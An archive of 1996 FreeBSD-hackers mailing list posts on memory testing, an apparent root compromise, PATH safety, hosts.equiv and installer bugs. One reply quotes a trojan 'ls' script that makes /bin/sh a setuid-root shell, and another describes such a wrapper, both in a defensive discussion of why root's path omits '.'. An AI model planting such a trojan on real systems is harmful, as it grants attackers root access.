<199606250112.KAA24941@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Jun 25, 96 10:42:39 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Ernest Hua stands accused of saying: > > > > I would prefer a thorough set of tests such as some reasonably optimized > > 1's and 0's test. I'm not familiar with algorithms for testing "flaky" > > versus "stuck". > > The problem is that no program can generate sequential accesses _fast_ > enough, and has no way of watching the critical timing parameters that > will help you decide _how_ marginal a given memory is. Agreed. > For this you need a _real_ memory tester, and because measuring nanosconds > accurately is difficult, thee cost _lots_ of money. > > So if you just want a 'does it work, yes/no' answer, put the memory into > your favorite high-performance OS (I prefer FreeBSD, OS/2 and Novell are > also popular), and thrash it mercilessly for a few days. I don't see the value of this -- except for the fact that it's "easy" to invoke from a shell :> If the system seizes up, it just tells you something died (most probably memory). You are counting on the failure to happen in such a way as to corrupt the state of the processor irrevocably. Exhaustive tests in *software* are usually ridiculous -- they take forever to execute and rarely detect anything but the grossest errors (i.e. stuck at * and decoding errors). These can be found through other (less painful) techniques. I find use of a LFSR with a long, "relatively prime" period to alternately fill and check memory contents is great as a quick POST-style check. It can also be used for more thorough testing (i.e. to catch thermal problems) if set in an endless loop. And, unlike just running a system hard for a while, it (usually) survives a memory failure and can report on the failure. Of course, this *doesn't* test other hardware that may be marginal, etc. (i.e. DMAC's). My two cents... --don From owner-freebsd-hackers Tue Jun 25 02:04:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA04874 for hackers-outgoing; Tue, 25 Jun 1996 02:04:22 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA04855; Tue, 25 Jun 1996 02:04:16 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id CAA01576; Tue, 25 Jun 1996 02:03:35 -0700 (MST) From: Don Yuniskis Message-Id: <199606250903.CAA01576@seagull.rtd.com> Subject: Re: I need help on this one - please help me track this guy down! To: vince@mercury.gaianet.net (-Vince-) Date: Tue, 25 Jun 1996 02:03:35 -0700 (MST) Cc: dgy@rtd.com, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: from "-Vince-" at Jun 25, 96 01:52:02 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that -Vince- said: > > On Tue, 25 Jun 1996, Don Yuniskis wrote: > > > It seems that -Vince- said: > > > Hmmm, that's only if we had phone support.... We don't :) but do > > > admins really go run a program that the user said won't run? > > > > Well, it *appears* that one of *you* did! :> > > Well, jbhunt was the one who gave the user the account and the > user just transferred the root which is /bin/sh with setuid and ran it > and he got root.... Um, someone can (and undoubtedly *will* :>) correct me if I'm wrong but there's *NO WAY* to install a setuid binary *without* having root in the first place! So, he could copy the program onto your machine and the system would strip the "setuid" bit automatically. Otherwise, there's no point in the setuid mechanism as anyone could make a setuid binary on their own system and just upload it to yours! From owner-freebsd-hackers Tue Jun 25 02:10:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA05332 for hackers-outgoing; Tue, 25 Jun 1996 02:10:42 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA05320 for ; Tue, 25 Jun 1996 02:10:38 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id TAA29306; Tue, 25 Jun 1996 19:15:52 +0930 From: Michael Smith Message-Id: <199606250945.TAA29306@genesis.atrad.adelaide.edu.au> Subject: Re: Memory tests ... To: dgy@rtd.com (Don Yuniskis) Date: Tue, 25 Jun 1996 19:15:51 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hua@xenon.chromatic.com, dgy@rtd.com, jsigmon@www.hsc.wvu.edu, hackers@freebsd.org In-Reply-To: <199606250900.CAA01330@seagull.rtd.com> from "Don Yuniskis" at Jun 25, 96 02:00:04 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Don Yuniskis stands accused of saying: > > > > So if you just want a 'does it work, yes/no' answer, put the memory into > > your favorite high-performance OS (I prefer FreeBSD, OS/2 and Novell are > > also popular), and thrash it mercilessly for a few days. > > I don't see the value of this -- except for the fact that it's "easy" > to invoke from a shell :> If the system seizes up, it just tells > you something died (most probably memory). You are counting on the > failure to happen in such a way as to corrupt the state of the > processor irrevocably. Yup, and giving the system a hard workout leads to lots of page reusage and a fairly good chance of having most pages in the system exercised with code or critical data. > I find use of a LFSR with a long, "relatively prime" period to > alternately fill and check memory contents is great as a quick > POST-style check. It can also be used for more thorough testing > (i.e. to catch thermal problems) if set in an endless loop. And, > unlike just running a system hard for a while, it (usually) > survives a memory failure and can report on the failure. > > Of course, this *doesn't* test other hardware that may be marginal, > etc. (i.e. DMAC's). ... nor does it consider crosstalk, or parts with marginal timing characteristics that take a little too long to deliver the data if the rail sags or spikes at the wrong time, or... Yes, the 'thrash' test is primitive, but it's highly statistical by nature, and at the end of the day, the results are generally pretty good. > --don Rant rant rant 8) -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 25 02:22:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA07119 for hackers-outgoing; Tue, 25 Jun 1996 02:22:35 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA07114; Tue, 25 Jun 1996 02:22:32 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id CAA20749; Tue, 25 Jun 1996 02:22:11 -0700 (PDT) Date: Tue, 25 Jun 1996 02:22:11 -0700 (PDT) From: -Vince- To: Don Yuniskis cc: dgy@rtd.com, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250903.CAA01576@seagull.rtd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Don Yuniskis wrote: > It seems that -Vince- said: > > > > On Tue, 25 Jun 1996, Don Yuniskis wrote: > > > > > It seems that -Vince- said: > > > > Hmmm, that's only if we had phone support.... We don't :) but do > > > > admins really go run a program that the user said won't run? > > > > > > Well, it *appears* that one of *you* did! :> > > > > Well, jbhunt was the one who gave the user the account and the > > user just transferred the root which is /bin/sh with setuid and ran it > > and he got root.... > > Um, someone can (and undoubtedly *will* :>) correct me if I'm wrong > but there's *NO WAY* to install a setuid binary *without* having root > in the first place! So, he could copy the program onto your > machine and the system would strip the "setuid" bit automatically. > Otherwise, there's no point in the setuid mechanism as anyone could make > a setuid binary on their own system and just upload it to yours! Yeah, that's what I'm trying to figure out... Vince From owner-freebsd-hackers Tue Jun 25 03:05:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA09469 for hackers-outgoing; Tue, 25 Jun 1996 03:05:55 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id DAA09440; Tue, 25 Jun 1996 03:05:23 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id MAA09345; Tue, 25 Jun 1996 12:02:23 +0200 (SAT) Message-Id: <199606251002.MAA09345@grumble.grondar.za> To: -Vince- cc: Don Yuniskis , mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 12:02:23 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > On Tue, 25 Jun 1996, Don Yuniskis wrote: > > > Hmmm, that's only if we had phone support.... We don't :) but do > > > admins really go run a program that the user said won't run? > > > > Well, it *appears* that one of *you* did! :> > > Well, jbhunt was the one who gave the user the account and the > user just transferred the root which is /bin/sh with setuid and ran it > and he got root.... Review that. _Carefully_. I think you are seriously WRONG there. That user did something sneaky, and you did not see it. M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Tue Jun 25 03:27:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id DAA11450 for hackers-outgoing; Tue, 25 Jun 1996 03:27:25 -0700 (PDT) Received: from pdx1 (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id DAA11437 for ; Tue, 25 Jun 1996 03:27:23 -0700 (PDT) Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1 (8.6.9/8.6.9) with ESMTP id DAA16611; Tue, 25 Jun 1996 03:28:34 -0700 Received: (proff@localhost) by suburbia.net (8.7.4/Proff-950810) id UAA25956; Tue, 25 Jun 1996 20:27:06 +1000 From: Julian Assange Message-Id: <199606251027.UAA25956@suburbia.net> Subject: Re: I need help on this one - please help me track this guy down! To: vince@mercury.gaianet.net (-Vince-) Date: Tue, 25 Jun 1996 20:27:06 +1000 (EST) Cc: hackers@freebsd.org In-Reply-To: from "-Vince-" at Jun 25, 96 00:33:59 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Assume root has "." in its path. Hacker puts this little script in > > his dir, maybe also in /tmp/; it's called "ls" (imagine the > > coincidence), and it's executable by all: > > > > #!/bin/sh > > chown root /bin/sh > /dev/null 2>&1 > > chmod u+s,a+x /bin/sh > /dev/null 2>&1 > > ls $\* > > > > Then sits back and waits for the sysadmin to come along and type "ls" > > in one of those directories. > > > > Pop quiz: what is the result? > > Never thought about that one.... > > Vince The result is nothing, unless root's path is ".:$PATH" - hardly a common occurance. What does achieve more success is placing common typographical mistakes in the path as trojans. e.g "sl" or "sl-la" or "ls-la" etc. For this reason only root should not have "." appeneded to the system path. I created kernel level trust circles, so untrusted executables will not be executed. Untrusted is defined as file uid >10 && (file uid !=euid || file uid != uid) || file mode &022. This is not in -current. I hadn't bothered to submit it as I thought it was a little standards breaking (or was that standards creating ?;) A sysctl perhaps. Are people interested in this? But in terms of temp directories and spool directories, these should all be mounted nosuid, noexec, nodev, which solves your problem anyway, and without kernel hackery. -- "Of all tyrannies a tyranny sincerely exercised for the good of its victims may be the most oppressive. It may be better to live under robber barons than under omnipotent moral busybodies, The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for own good will torment us without end, for they do so with the approval of their own conscience." - C.S. Lewis, _God in the Dock_ +---------------------+--------------------+----------------------------------+ |Julian Assange RSO | PO Box 2031 BARKER | Secret Analytic Guy Union | |proff@suburbia.net | VIC 3122 AUSTRALIA | finger for PGP key hash ID = | |proff@gnu.ai.mit.edu | FAX +61-3-98199066 | 0619737CCC143F6DEA73E27378933690 | +---------------------+--------------------+----------------------------------+ From owner-freebsd-hackers Tue Jun 25 04:11:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA15270 for hackers-outgoing; Tue, 25 Jun 1996 04:11:55 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id EAA15248; Tue, 25 Jun 1996 04:11:50 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id EAA10554; Tue, 25 Jun 1996 04:05:40 -0700 (MST) From: Don Yuniskis Message-Id: <199606251105.EAA10554@seagull.rtd.com> Subject: Re: I need help on this one - please help me track this guy down! To: mark@grumble.grondar.za.@grondar.za (Mark Murray) Date: Tue, 25 Jun 1996 04:05:40 -0700 (MST) Cc: vince@mercury.gaianet.net, dgy@rtd.com, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: <199606251002.MAA09345@grumble.grondar.za> from "Mark Murray" at Jun 25, 96 12:02:23 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Well, it *appears* that one of *you* did! :> > > > > Well, jbhunt was the one who gave the user the account and the > > user just transferred the root which is /bin/sh with setuid and ran it > > and he got root.... > > Review that. _Carefully_. I think you are seriously WRONG there. That > user did something sneaky, and you did not see it. I STRONGLKY suggest "vince" repeat exactly what he's said here. When he realizes it's "just not so", perhaps he'll rethink his NEXT post. 1) As root, create *any* suid file. Heck, use this guy's "root" file just in case you can't do it yourself. 2) As non-root, try to make a copy of that file... use cp, cat >, ftp it, up/download it via kermit, etc. Let us know what you learn in the process! From owner-freebsd-hackers Tue Jun 25 05:07:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA20184 for hackers-outgoing; Tue, 25 Jun 1996 05:07:26 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA20165; Tue, 25 Jun 1996 05:07:22 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id WAA00732; Tue, 25 Jun 1996 22:12:29 +0930 From: Michael Smith Message-Id: <199606251242.WAA00732@genesis.atrad.adelaide.edu.au> Subject: Re: I need help on this one - please help me track this guy down! To: vince@mercury.gaianet.net (-Vince-) Date: Tue, 25 Jun 1996 22:12:28 +0930 (CST) Cc: mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: from "-Vince-" at Jun 25, 96 01:40:18 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -Vince- stands accused of saying: > > Yeah, you have a point but jbhunt was watching the user as he > hacked root since he brought the file from his own machine.... so that > wasn't something the admin was tricked into doing.. ... so jbhunt should know exactly what he did. If they don't, then you should sack them presto. But I don't think you understand; you cannot _make_ a file owned by root unless you are _already_ root. > Vince -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 25 05:27:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA21152 for hackers-outgoing; Tue, 25 Jun 1996 05:27:35 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA21146 for ; Tue, 25 Jun 1996 05:27:33 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id IAA23871; Tue, 25 Jun 1996 08:25:28 -0400 Date: Tue, 25 Jun 1996 08:25:27 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: Julian Elischer cc: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-Reply-To: <199606242311.QAA03078@ref.tfs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk virtual interface per vpi is what i'm doing for MINI. I have to: MINI looks like 4096 atm interfaces *at the hardware level*, so the carrying that through to the OS and applications makes sense. I vote for the virtual interface approach ... ron Ron Minnich |"Inferno runs on MIPS ..., Intel ..., and AMD's rminnich@sarnoff.com |29-kilobit-per-second chip-based architectures ..." (609)-734-3120 | Comm. week, may 13, pg. 4. ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Tue Jun 25 05:40:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA21983 for hackers-outgoing; Tue, 25 Jun 1996 05:40:39 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id FAA21976 for ; Tue, 25 Jun 1996 05:40:36 -0700 (PDT) Message-Id: <199606251240.FAA21976@freefall.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA056606358; Tue, 25 Jun 1996 22:39:18 +1000 From: Darren Reed Subject: Re: No comment character in hosts.equiv To: joerg_wunsch@uriah.heep.sax.de Date: Tue, 25 Jun 1996 22:39:18 +1000 (EST) Cc: freebsd-hackers@FreeBSD.ORG, danny@auscert.org.au In-Reply-To: <199606250802.KAA17967@uriah.heep.sax.de> from "J Wunsch" at Jun 25, 96 10:02:37 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail from J Wunsch, sie said: > > As Danny Smith wrote: > > > > Wrong. FreeBSD has a comment char. > > > OK, I verified this on our 2.0.5 test system before mailing. Looks like I > > may have been hit by the "checking the previous version" problem. > > FreeBSD 2.0.5 shipped with commented-out entries in hosts.equiv and > the sample .rhosts files that caused DNS lookup timeouts (since names > starting with a hash mark were looked up). After realizing this, the > comment-character logic was braught in. > > Anyway, commented-out entries normally don't constitute a security > hole (unless a potential intruder can manipulate DNS to get the wrong > name as an alias for his host). I'd warn against this: FreeBSD is thus different to most other OS's and suggests security practices which are not safe in all circumstances. I know some things are "nice" and yes, "lets be different", but for christ sake, sometimes this just goes too far. From owner-freebsd-hackers Tue Jun 25 06:24:26 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA25228 for hackers-outgoing; Tue, 25 Jun 1996 06:24:26 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA25211; Tue, 25 Jun 1996 06:24:21 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id IAA07541; Tue, 25 Jun 1996 08:23:11 -0500 From: Joe Greco Message-Id: <199606251323.IAA07541@brasil.moneng.mei.com> Subject: Re: I need help on this one - please help me track this guy down! To: davidg@root.com Date: Tue, 25 Jun 1996 08:23:11 -0500 (CDT) Cc: gpalmer@FreeBSD.ORG, vince@mercury.gaianet.net, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: <199606250714.AAA03862@root.com> from "David Greenman" at Jun 25, 96 00:14:37 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >No, everyone does NOT have `.' in their paths! I most certainly don't, > >as I know that it's ALL to easy to have someone break your system > >security that way. Imagine if you are looking into something as root, > >and have `.' in your path. You go into someone elses directory, and do > >a `ls'. All they need is a wrapper program called `ls' in that dir > >which copies /bin/sh to some directory, chowns it to root, then sets > >the setuid bit, and THEN exec's ls with the arguments given, an BANG, > >there goes your system security. > > Actually, this particular problem can be avoided by putting "." last in > the search path rather than first. That's security via stupidity, it is about as much protection as a windshield made out of plastic wrap. Most sites do not have commands like "dir", "ren", etc. in /usr/bin or /usr/local/bin... (I do by the way), making it easier for an unsuspecting admin to screw themselves in this way. My .cshrc, ancient but venerable... [...] set path=( /bin /usr/{bin,local/bin,ucb,games} /etc ) [...] if ( -r ~/.path ) then if ( $root ) then set path=(`grep -v "\." < ~/.path`) else set path=(`cat ~/.path`) endif endif [...] I for one am more comfortable having to prefix stuff with ./ if I really want it to do what I mean. ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Tue Jun 25 06:27:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA25378 for hackers-outgoing; Tue, 25 Jun 1996 06:27:11 -0700 (PDT) Received: from mccoy.cs.twsu.edu (mccoy.cs.twsu.edu [156.26.10.14]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id GAA25360; Tue, 25 Jun 1996 06:27:07 -0700 (PDT) Received: by mccoy.cs.twsu.edu (4.1/SMI-4.1) id AA22425; Tue, 25 Jun 96 08:20:51 CDT Date: Tue, 25 Jun 1996 08:20:51 -0500 (CDT) From: john goerzen To: FreeBSD-questions@freebsd.org Cc: FreeBSD-bugs@freebsd.org, FreeBSD-hackers@freebsd.org, jgoerzen@cs.twsu.edu Subject: Plea for help! And panic & bug reports! Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (NOTE...This is not my normal account. As such, it's not subscribed to the list. Please CC your reponse to me here -- jgoerzen@cs.twsu.edu! THANKS!) I am not currently able to access my mail on my normal computer, so please CC your response here. I have recently upgraded from FreeBSD 9605?? to 960612 SNAP. The biggest problem is this: I cannot login! As root, as my normal user account, etc. It just says "Invalid login." After rebooting the first time under the new OS, I did not have to enter a password for root. I did copy passwd and master.passwd from the backup of the etc directory, ran pwd_mkdb or whatever that program is called, etc. No go! I was using DES for passwords, BTW. And yes, I did install the encryption stuff from the sysinstall program. Now then...The reason I upgraded was a kernel panic when I accidentally bumped the eject button on my Sony CDU33A CD-ROM drive. I relized my mistake as soon as I did it, and wanting to prevent and problems, I quickly unmounted it. Then I got a kernel panic. There were no programs attempting to access the CD-ROM at the time. I came across a number of bugs in the installation program. 1) In the upgrade menu, it fails to load the partition program. The label program then gets into a loop of complaining that no partitions were selected. Had to reboot, go to custom, select partitions, then go to upgrade. 2) Selecting COM2 for the PPP caused the PPP to fail on any com port. Had to reboot, delete lock files, select COM1, then in PPP, type "set device /dev/cuaa1" to make it work on COM2. 3) ftp.freebsd.org was busy. Install program complained, retried once, then said the installation failed and forced a reboot. Very annoying! Had to then re-mount drives, select packages, etc. several times. It also failed to delete the lock files before rebooting. 4) Modem dropped connection -- sometimes dirty lines around here. Program should have timed out on the FTP, and asked to re-enable connection. Instead, it locked until a reboot. 5) Prorgam garbled the string holding the location of the custom etc backup directory. I had entered my own value -- after it had backed it up so many times, I didn't want to overwrite anything important. It was garbage on the screen when it reported that it couldn't reconstruct it. I then did a cp -Rp and edited sysconfig and copied ppp.conf back to do basic reconstruction. 6) Failed to put a kernel in / ! I had to boot kernel.GENERIC to make it "work". 7) Failed to preserve password files. Caused lots of problems I have not yet solved! Now I've worked around all the sysinstall problems except the password file problem. I need help on that one desperately! Please, if at all possible, send me an e-mail here -- this account is not subscribed to the list and I can't log in to use my regular one! -- I will be very appreciative! PS...I realize this is prerelease code. I am not complaining about bugs. I am simply reporting them and asking for assistance in working around one of them. Thanks. From owner-freebsd-hackers Tue Jun 25 06:50:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA27325 for hackers-outgoing; Tue, 25 Jun 1996 06:50:47 -0700 (PDT) Received: from alpha.dsu.edu (ghelmer@alpha.dsu.edu [138.247.32.12]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id GAA27317 for ; Tue, 25 Jun 1996 06:50:45 -0700 (PDT) Received: from localhost (ghelmer@localhost) by alpha.dsu.edu (8.7.5/8.7.3) with SMTP id IAA14323 for ; Tue, 25 Jun 1996 08:50:38 -0500 (CDT) Date: Tue, 25 Jun 1996 08:50:38 -0500 (CDT) From: Guy Helmer To: hackers@freebsd.org Subject: Job Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry to bother the entire list, so I'll make this short. As I am leaving Dakota State University to take up graduate studies elsewhere, my position is being made available. DSU is a small institution (1500 students) located in Madison, SD (50 miles NW of Sioux Falls), and is a leader in the use of computers in instruction. My duties have included the installation and operation of the LANs, WANs, Netware servers, and (here's the good part!) UNIX systems, including several FreeBSD systems. I have also provided help to other state institutions to install and run FreeBSD systems. Please email me if you would like further information. Sorry for the short notice, but the position will close June 28. Guy Helmer, Dakota State University Computing Services - ghelmer@alpha.dsu.edu From owner-freebsd-hackers Tue Jun 25 07:03:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA28399 for hackers-outgoing; Tue, 25 Jun 1996 07:03:24 -0700 (PDT) Received: from squirrel.tgsoft.com (sb15.znet.com [206.43.105.15]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA28391 for ; Tue, 25 Jun 1996 07:03:20 -0700 (PDT) Received: (from thompson@localhost) by squirrel.tgsoft.com (8.6.12/8.6.12) id HAA15335; Tue, 25 Jun 1996 07:03:31 -0700 Date: Tue, 25 Jun 1996 07:03:31 -0700 Message-Id: <199606251403.HAA15335@squirrel.tgsoft.com> From: mark thompson To: hackers@freefall.freebsd.org In-reply-to: message from Don Yuniskis on Tue, 25 Jun 1996 02:03:35 -0700 (MST) Subject: Re: I need help on this one - please help me track this guy down! Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that -Vince- said: > > On Tue, 25 Jun 1996, Don Yuniskis wrote: > > > It seems that -Vince- said: > > > Hmmm, that's only if we had phone support.... We don't :) but do > > > admins really go run a program that the user said won't run? > > > > Well, it *appears* that one of *you* did! :> > > Well, jbhunt was the one who gave the user the account and the > user just transferred the root which is /bin/sh with setuid and ran it > and he got root.... Once upon a time, one of our nice users brought in a tape he wanted read. One of the guys logged in as root, hung the tape and untarred it into the nice user's directory. The tape contained a shell that was setuid root... but we didn't discover that 'till later. Seems this guy didn't want to *break* anything, but just wanted to admin the machine himself, being dissatisfied with us. Anyway, i learned several valuable lessons: 1) Scan the machine for setuid programs. Often. 2) Read user's tapes when logged in as the user. 3) If you are running a computer system, trust nobody. -mark From owner-freebsd-hackers Tue Jun 25 07:06:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA28841 for hackers-outgoing; Tue, 25 Jun 1996 07:06:33 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA28831 for ; Tue, 25 Jun 1996 07:06:30 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id JAA07589; Tue, 25 Jun 1996 09:05:09 -0500 From: Joe Greco Message-Id: <199606251405.JAA07589@brasil.moneng.mei.com> Subject: Re: poor Chuck :-) To: gena@burka.NetVision.net.il (Gennady Sorokopud) Date: Tue, 25 Jun 1996 09:05:08 -0500 (CDT) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Gennady Sorokopud" at Jun 25, 96 09:30:28 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi! > > Look what some gardening association did to our lovely demon :-) > > http://www.nhn.uoknor.edu/~howard/images/flowers/devilf.gif Now that's a "must save" :-) I'd rather see that than more Linuxites who promote Linux on their home pages and then include the BSD Daemon on the page.. ... JG From owner-freebsd-hackers Tue Jun 25 07:10:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA29232 for hackers-outgoing; Tue, 25 Jun 1996 07:10:21 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id HAA29135; Tue, 25 Jun 1996 07:09:37 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id RAA03529; Tue, 25 Jun 1996 17:13:22 +0300 Date: Tue, 25 Jun 1996 17:13:22 +0300 (EET DST) From: Narvi To: john goerzen cc: 